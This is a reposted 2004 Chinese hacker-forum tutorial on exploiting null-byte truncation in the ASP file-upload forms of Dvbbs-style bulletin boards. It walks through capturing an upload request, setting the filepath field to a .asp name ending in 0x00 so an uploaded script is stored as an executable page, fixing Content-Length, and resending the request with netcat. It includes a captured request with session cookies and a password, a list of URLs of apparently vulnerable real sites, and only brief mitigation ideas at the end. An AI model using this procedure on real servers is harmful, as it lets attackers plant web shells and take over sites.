IT学习者 | 站长学院 | 技术文档 | 成语 | 歇后语 | 桌面壁纸 | 天气预报 | 帝国时代 | 生日密码 | 代码收藏 | 厦门天气 | IP地址查询 | 生活百科

上传漏洞终结篇

【 来源:黑鹰基地论坛 作者:szjwwwww 更新时间:2004-10-18 | 字体:
一、写在前面
***这个上传漏洞利用的原理只是针对form格式上传的asp和php脚本***
NC(Netcat)
   用于提交数据包
   DOS界面下运行:
   NC -vv www.***.com 80<1.txt
   -vv: 回显
   80:  www端口
   1.txt: 就是你要发送的数据包
  (更多使用方法请查看本区的帖子)
WSE(WSockExpert)
   对本机端口的监视,抓取IE提交的数据包
  (不会用的就自己到网上搜资料N多)

二、漏洞原理
下面例子假设的前提
www主机:  www.***.com;
bbs路径 :  /bbs/
漏洞源于对动网上传文件的研究,建议有一定编程经验的
看看Dvbbs的upfile.asp文件,没有必要全部看懂
upfile是通过生成一个form表上传,如下
<form name="form" method="post" action="upfile.asp" ...>
<input type="hidden" name="filepath" value="uploadFace">
<input type="hidden" name="act" value="upload">
<input type="file" name="file1">
<input type="hidden" name="fname">
<input type="submit" name="Submit" value="上传" ...></form>
用到的变量:
filepath 默认值uploadface 属性hiden
act      默认值upload     属性hiden
file1    就是你要传的那个文件
关键是 filepath 这个变量!
默认情况下我们的文件上传到www.***.com/bbs/uploadface/
文件是用你的上传时间命名的,就是upfile里的这一句
FileName=FormPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&FileExt
-------------------------------------------------------------------------
我们知道计算机里面的数据是一""为标致的用过C语言的都知道
char data[]="bbs"
这个data数组长度是4: b b s
如果我们构造filepath如下,会怎么样呢?
filepath="/newmm.asp"
我们在2004.09.24.08.24传的文件就会发生变化
没有改时:
http://www.***.com/bbs/uploadface/200409240824.jpg
用我们构造的filepath时:
http://www.***.com/newmm.asp/200409240824.jpg
这样当服务器接收filepath数据时,检测到newmm.asp后面的
就理解为filepath的数据就结束了
这样我们上传的文件,比如c:1.asp
就保存成: http://www.***.com/newmm.asp

三、后期补充
漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行
有很多网站只是加了N个hiden属性的变量对付网上公布的upfile.exe就是那个
上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。。
而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具
自己改WSE抓到的包里的filepath变量,然后在用NC提交。。。
就算他加N个hiden变量也于事无补。
当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结
就是我们的新理论诞生的时候!

四、漏洞列表
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5369http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5530http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5531http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5693http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5731http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5746

监听外部主机
        NC [-options] hostname port[s] [ports] ...
监听本地主机
        NC -l -p port [options] [hostname] [port]
options:
        -d              detach from console, stealth mode
        -e prog         inbound program to exec [dangerous!!]
        -g gateway      source-routing hop point[s], up to 8
        -G num          source-routing pointer: 4, 8, 12, ...
        -h              this cruft
        -i secs         delay interval for lines sent, ports scanned
        -l              listen mode, for inbound connects
        -L              listen harder, re-listen on socket close
        -n              numeric-only IP addresses, no DNS
        -o file         hex dump of traffic
        -p port         local port number
        -r              randomize local and remote ports
        -s addr         local source address
        -t              answer TELNET negotiation
        -u              UDP mode
        -v              verbose [use twice to be more verbose]
        -w secs         timeout for connects and final net reads
        -z              zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]


详细实例:
---------------------------------------------------------------------------------
一、WSE抓包结果(存到1.txt里):
POST /bbs/upPhoto/upfile.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.xin126.com/bbs/upPhoto/upload.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d423a138d0278
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)
Host:www.xin126.com
Content-Length: 1969
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDACCCCDCS=NJHCPHPALBCANKOBECHKJANF; isCome=1; GAMVANCOOKIES=1; regTime=2004%2D9%2D24+3%3A39%3A37; username=szjwwwww; pass=5211314; dl=0; userID=62; ltStyle=0; loginTry=1; userPass=eb03f6c72908fd84

-----------------------------7d423a138d0278
Content-Disposition: form-data; name="filepath"

../medias/myPhoto/
-----------------------------7d423a138d0278
... ...

上传
-----------------------------7d423a138d0278--
---------------------------------------------------------------------------------
二、UltraEdit打开1.txt改数据:
......
-----------------------------7d423a138d0278
Content-Disposition: form-data; name="filepath"

/newmm.asp█                 <===这个黑色代表一个空格是 0x20,改成0x00就可以了
......

---------------------------------------------------------------------------------
三、重新计算cookies长度,然后nc提交

Nc -vvwww.xin126.com 80 <1.txt

UltraEdit是一个16位编辑器网上可以下载得到
我们主要用来写那个结束标致: ====>16位表示:0x00或者00H
其实你改的时候就直接再filepath的结尾处加个00就OK了

计算cookies长度===>你把fillepath改了之后、肯定是或+或—cookies的长度变了
......
Host:www.xin126.com
Content-Length: 1969  <======就是这个
Connection: Keep-Alive
Cache-Control: no-cache
......
计算会吧?一个字母、数字就是1


对于上传漏洞提出的解决思路:(仅供参考)

1、一般的上传是把上传路径作为一个变量来处理
===>我们的对策就是把filepath变成常量。。。
这个方法是目前最有效的(我认为的)

2、加强对于的处理,原来我们是读到这里就结束
我们继续读直道下一个变量开始的地方,处理就OK了
  • 转载请注明来源:IT学习者 网址:http://www.itlearner.com/ 向您的朋友推荐此文章
  • 文章关键词:  上传 
  • 特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系我们,我们会尽快予以更正。
RSS订阅
  • 抓虾
  • google reader
  • 鲜果
  • QQ邮箱

音乐
犯贱 月光 包容 想你了 甩葱歌 黄梅戏 爱情错觉 星月神话 这就是爱 最幸福的人 爱笑的眼睛 321对不起 你不知道的事 看透爱情看透你 你还欠我一个拥抱
忐忑 爱过 浮夸 猜不透 洛丽塔 错的人 爱情买卖 和平分手 等你爱我 没那么简单 我的心好冷 姑娘我爱你 在回忆中死去 我的爱情不见了 你在我心中是最美
她说 偏爱 素颜 错错错 走天涯 套马杆 断桥残雪 爱是你我 郎的诱惑 客官不可以 我要去西藏 我的好兄弟 哥只是个传说 情歌没有告诉你 我和草原有个约定
天真 王妃 小三 爱琴海 要抱抱 单身歌 埋葬冬天 给力青春 荷塘月色 最好不相见 最炫民族风 新贵妃醉酒 贝多芬的悲伤 大笑江湖主题曲 给我一个理由忘记
加入收藏留言建议ASP探针PHP探针站长Enjoy的BlogAboutDomain
© 2010 IT学习者 - itlearner.com
RunTime:58.32ms